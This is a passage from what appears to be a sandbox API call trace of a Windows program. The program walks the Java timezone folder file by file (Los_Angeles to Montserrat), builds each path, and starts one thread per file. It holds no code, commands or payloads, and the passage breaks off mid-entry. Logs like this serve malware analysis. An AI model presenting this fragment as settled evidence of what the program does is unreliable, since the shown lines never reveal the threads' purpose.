out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.520] wcscat (in: _Dest=0x8d0900, _Source="Los_Angeles" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Los_Angeles") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Los_Angeles" [0191.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1394 [0191.522] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maceio", cAlternateFileName="")) returned 1 [0191.522] wcscmp (_String1="Maceio", _String2=".") returned 1 [0191.522] wcscmp (_String1="Maceio", _String2="..") returned 1 [0191.522] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fafb0 [0191.522] wcscpy (in: _Dest=0x8fafb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.522] wcscat (in: _Dest=0x8fafb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.522] wcscat (in: _Dest=0x8fafb0, _Source="Maceio" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Maceio") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Maceio" [0191.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fafb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0191.523] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managua", cAlternateFileName="")) returned 1 [0191.523] wcscmp (_String1="Managua", _String2=".") returned 1 [0191.523] wcscmp (_String1="Managua", _String2="..") returned 1 [0191.523] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fb0a0 [0191.523] wcscpy (in: _Dest=0x8fb0a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.523] wcscat (in: _Dest=0x8fb0a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.523] wcscat (in: _Dest=0x8fb0a0, _Source="Managua" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Managua") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Managua" [0191.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0191.524] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manaus", cAlternateFileName="")) returned 1 [0191.524] wcscmp (_String1="Manaus", _String2=".") returned 1 [0191.524] wcscmp (_String1="Manaus", _String2="..") returned 1 [0191.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fb118 [0191.524] wcscpy (in: _Dest=0x8fb118, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.525] wcscat (in: _Dest=0x8fb118, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.525] wcscat (in: _Dest=0x8fb118, _Source="Manaus" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Manaus") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Manaus" [0191.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8 [0191.526] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Martinique", cAlternateFileName="MARTIN~1")) returned 1 [0191.526] wcscmp (_String1="Martinique", _String2=".") returned 1 [0191.526] wcscmp (_String1="Martinique", _String2="..") returned 1 [0191.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0500 [0191.526] wcscpy (in: _Dest=0x8d0500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.526] wcscat (in: _Dest=0x8d0500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.526] wcscat (in: _Dest=0x8d0500, _Source="Martinique" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Martinique") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Martinique" [0191.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8 [0191.529] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Matamoros", cAlternateFileName="MATAMO~1")) returned 1 [0191.529] wcscmp (_String1="Matamoros", _String2=".") returned 1 [0191.529] wcscmp (_String1="Matamoros", _String2="..") returned 1 [0191.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cff00 [0191.529] wcscpy (in: _Dest=0x8cff00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.529] wcscat (in: _Dest=0x8cff00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.529] wcscat (in: _Dest=0x8cff00, _Source="Matamoros" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Matamoros") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Matamoros" [0191.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618 [0191.531] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mazatlan", cAlternateFileName="")) returned 1 [0191.531] wcscmp (_String1="Mazatlan", _String2=".") returned 1 [0191.531] wcscmp (_String1="Mazatlan", _String2="..") returned 1 [0191.531] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0280 [0191.531] wcscpy (in: _Dest=0x8d0280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.531] wcscat (in: _Dest=0x8d0280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.531] wcscat (in: _Dest=0x8d0280, _Source="Mazatlan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mazatlan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mazatlan" [0191.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0 [0191.532] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Menominee", cAlternateFileName="MENOMI~1")) returned 1 [0191.532] wcscmp (_String1="Menominee", _String2=".") returned 1 [0191.532] wcscmp (_String1="Menominee", _String2="..") returned 1 [0191.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0100 [0191.532] wcscpy (in: _Dest=0x8d0100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.532] wcscat (in: _Dest=0x8d0100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.532] wcscat (in: _Dest=0x8d0100, _Source="Menominee" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Menominee") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Menominee" [0191.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8 [0191.533] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Merida", cAlternateFileName="")) returned 1 [0191.533] wcscmp (_String1="Merida", _String2=".") returned 1 [0191.533] wcscmp (_String1="Merida", _String2="..") returned 1 [0191.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fb208 [0191.534] wcscpy (in: _Dest=0x8fb208, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.534] wcscat (in: _Dest=0x8fb208, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.534] wcscat (in: _Dest=0x8fb208, _Source="Merida" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Merida") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Merida" [0191.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4 [0191.535] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metlakatla", cAlternateFileName="METLAK~1")) returned 1 [0191.535] wcscmp (_String1="Metlakatla", _String2=".") returned 1 [0191.535] wcscmp (_String1="Metlakatla", _String2="..") returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8cfe00 [0191.535] wcscpy (in: _Dest=0x8cfe00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.535] wcscat (in: _Dest=0x8cfe00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.535] wcscat (in: _Dest=0x8cfe00, _Source="Metlakatla" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Metlakatla") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Metlakatla" [0191.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00 [0191.536] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mexico_City", cAlternateFileName="MEXICO~1")) returned 1 [0191.536] wcscmp (_String1="Mexico_City", _String2=".") returned 1 [0191.536] wcscmp (_String1="Mexico_City", _String2="..") returned 1 [0191.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0480 [0191.536] wcscpy (in: _Dest=0x8d0480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.537] wcscat (in: _Dest=0x8d0480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.537] wcscat (in: _Dest=0x8d0480, _Source="Mexico_City" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mexico_City") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mexico_City" [0191.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc [0191.538] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Miquelon", cAlternateFileName="")) returned 1 [0193.945] wcscmp (_String1="Miquelon", _String2=".") returned 1 [0193.945] wcscmp (_String1="Miquelon", _String2="..") returned 1 [0193.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0180 [0193.945] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0193.945] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0193.945] wcscat (in: _Dest=0x8d0180, _Source="Miquelon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Miquelon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Miquelon" [0195.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0195.089] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moncton", cAlternateFileName="")) returned 1 [0195.089] wcscmp (_String1="Moncton", _String2=".") returned 1 [0195.089] wcscmp (_String1="Moncton", _String2="..") returned 1 [0195.089] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fb0a0 [0195.089] wcscpy (in: _Dest=0x8fb0a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.089] wcscat (in: _Dest=0x8fb0a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.089] wcscat (in: _Dest=0x8fb0a0, _Source="Moncton" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Moncton") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Moncton" [0195.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108 [0195.090] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monterrey", cAlternateFileName="MONTER~1")) returned 1 [0195.090] wcscmp (_String1="Monterrey", _String2=".") returned 1 [0195.090] wcscmp (_String1="Monterrey", _String2="..") returned 1 [0195.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0380 [0195.091] wcscpy (in: _Dest=0x8d0380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.091] wcscat (in: _Dest=0x8d0380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.091] wcscat (in: _Dest=0x8d0380, _Source="Monterrey" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Monterrey") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Monterrey" [0195.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc [0195.092] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montevideo", cAlternateFileName="MONTEV~1")) returned 1 [0195.092] wcscmp (_String1="Montevideo", _String2=".") returned 1 [0195.092] wcscmp (_String1="Montevideo", _String2="..") returned 1 [0195.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0000 [0195.092] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.092] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.092] wcscat (in: _Dest=0x8d0000, _Source="Montevideo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montevideo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montevideo" [0195.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0195.094] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montreal", cAlternateFileName="")) returned 1 [0195.094] wcscmp (_String1="Montreal", _String2=".") returned 1 [0195.094] wcscmp (_String1="Montreal", _String2="..") returned 1 [0195.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0f00 [0195.094] wcscpy (in: _Dest=0x8d0f00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.094] wcscat (in: _Dest=0x8d0f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.094] wcscat (in: _Dest=0x8d0f00, _Source="Montreal" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montreal") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montreal" [0195.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0195.095] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montserrat", cAlternateFileName="MONTSE~1")) returned 1 [0195.095] wcscmp (_String1="Montserrat", _String2=".") returned 1 [0195.095] wcscmp (_String1="Montserrat", _String2="..") returned 1 [0195.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0d00 [0195.095] wcscpy (in: _Dest=0x8d0d00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.095] wcscat (in: _Dest=0x8d0d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.095] wcscat (in: _Dest=0x8d0d00, _Source="Montserrat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montserrat") returned="C:\\Program Files 